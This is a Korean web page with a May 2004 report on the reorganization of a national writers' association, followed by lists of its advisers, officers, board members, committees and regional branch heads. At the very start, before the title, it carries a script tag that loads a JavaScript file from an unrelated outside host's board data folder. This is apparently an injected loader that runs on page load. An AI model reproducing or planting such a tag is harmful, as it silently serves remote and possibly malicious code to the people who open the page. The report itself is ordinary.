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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 2004년 작가회의 조직개편에 대한 보고
회원 여러분!
그새 5월입니다. 3월6일 이사회에서 명(命)받아 출근을 개시한지 두 달, 숨차지만 행복했습니다. 그 동안 대통령 탄핵을 둘러싼 일련의 사태와 선거가 있었고, 또 룡천 열차폭발 사고와 범국민적 모금운동이 있었습니다. 외국의 어느 사회학자가 했다는 말이 떠오릅니다.
“역사에는 수많은 교활한 통로가 있으며 짓궂은 복도와 출구가 있다!”
민족문학작가회의는 지금 그 같은 통로와 복도와 출구의 복판을 향해서 걸어가고 있습니다. 지난 1월 총회가 정관 개정(2차)를 통해 명령한 정신이 그것이라 봅니다. 예컨대, 우리 작가회의는 1974년 이후 두 차례(1984년, 1987년)에 걸쳐서 조직형식을 바꿔왔습니다. 이번의 변화는 세 번째이며, 여기에는 우리 단체에 일관되게 흐르는 정신을 새로운 시대 정신에 맞게 전환하자는 취지가 담겨 있습니다. 이번 조직개편은 그에 부응하기 위한 조치입니다.
그런데 회칙을 따르자니 부득이하게 상당수의 임원(이사)을 축소하지 않을 수 없었습니다. 고통스런 결단이었습니다. 이사장단과 함께 회동하여 여러 차례 의견을 조율하고 명단을 수정했지만 아쉬움이 커서 몇 가지 기준으로 삼았던 생각들을 밝히고자 합니다. 첫째, 가급적 새 인물을 추가하는 일에 인색하게 굴었습니다. 둘째, 회의에 출석한 적이 없는 분들을 놓아드렸습니다. 세째, 같은 임무를 오래 맡으신 분들을 가급적 쉬게 했습니다. 그리고 오래 지속되어 온‘모양뿐인 배려’를 생략했습니다. 고심하여 결정된 사항이오니 혹여 서운하신 점이 있더라도 감싸주시기를 간곡히 청원합니다.
회원 여러분!
기대를 버리지 말고 지켜봐주시길 바랍니다. 실로 위엄에 찬 30년의 전통을 잇기 위하여 그간에 노력한 몇 가지의 일들이 이제 곧 모습을 드러낼 것입니다. 끝으로, 작가회의의 자랑은 그간의 권위를 자신의 이익에 사용하지 않는다는 것입니다. 민족지성의 건강성을 살리고 미학적 수준을 높이는 일에 흐트러짐 없이 정진하겠습니다. 게을러지지 않도록 채찍해주실 것을 믿습니다.
2004년 5월 5일 새벽에
김형수 올림
<< 2004년 작가회의 조직>>
상임고문(4명)
고 은 신경림 송기숙 백낙청
고문(18명)
구중서 김규동 김주영 김병익 김춘복 박태순 남정현 민영 김지하
박완서 이선영 이호철 천승세 최일남 한승원 현기영 박용수 조재훈
자문위원(23명)
이상국 강은교 김성동 조해일 김원일 도정일 박범신 송기원 이경자
윤정모 정희성 안종관 양성우 유시춘 임헌영 임형택 전상국 조갑상
조정래 호영송 홍상화 황광수 황석영
이사장(1명)
염무웅
부이사장(4명)
이하석 김준태 이시영 최인석
사무총장(1명)
김형수
감사(2명)
이대환 최두석
사무국장(1명)
김종광
이사(61명)
강병철 강태형 강형철 고재종 고형렬 구모룡 구효서 김남일 김명환(평)
김사인 김양호 김영현 김용락 김용택 김윤태 김이구 김인숙 김재용
김정환 김진경 김태수 김희수 나종영 나해철 나희덕 도종환 박상률
박영근 방민호 방현석 배창환 서경석 서홍관 신동호 심산 심상대
심호택 안도현 오봉옥 오정환 유재영 윤영수 윤지관 이경림 이남희
이승철 이영진 이은봉 이인휘 이재무 이흔복 임규찬 임동확 정남영
정도상 최원식 하종오 한창훈 현준만 황현산 홍일선
▣ 분과(총 6명)
시분과 - 박영근 소설분과 - 이남희평론분과 - 김명환
희곡분과 - 박상률 아동분과- 강정규 시나리오분과 - 심 산
(임)번역문학분과
▣ 위원회(총 15명)
통일위원회 - 고은(정도상)
자유실천위원회 - 민중연대 분야 - 김해자/반전 평화 분야 - 오수연
민족문학연구소 - 김재용
정책위원회 - 방현석
젊은작가포럼 - 고영직
국제교류위원회 - 김남일
작가 편집위원회 - 안도현
지역위원회 - 이영수
교육출판위원회 - 강태형
사업단 - 이경자
정보문화센터 - 현준만
회원자격심사위원회 - 이은봉
(임)21세기위원회 - 김영현
(임)모국어위원회 - 김사인
▣ 지회장(총 12명)
강원작가회의박종헌 경남작가회의오인태 경북작가회의이대환
광주․전남작가회의김희수 대구작가회의김용락 대전․충남작가회의강병철
부산작가회의남송우울산작가회의정일근 인천작가회의신현수
전북작가회의김용택제주작가회의김광렬 충북작가회의김창규
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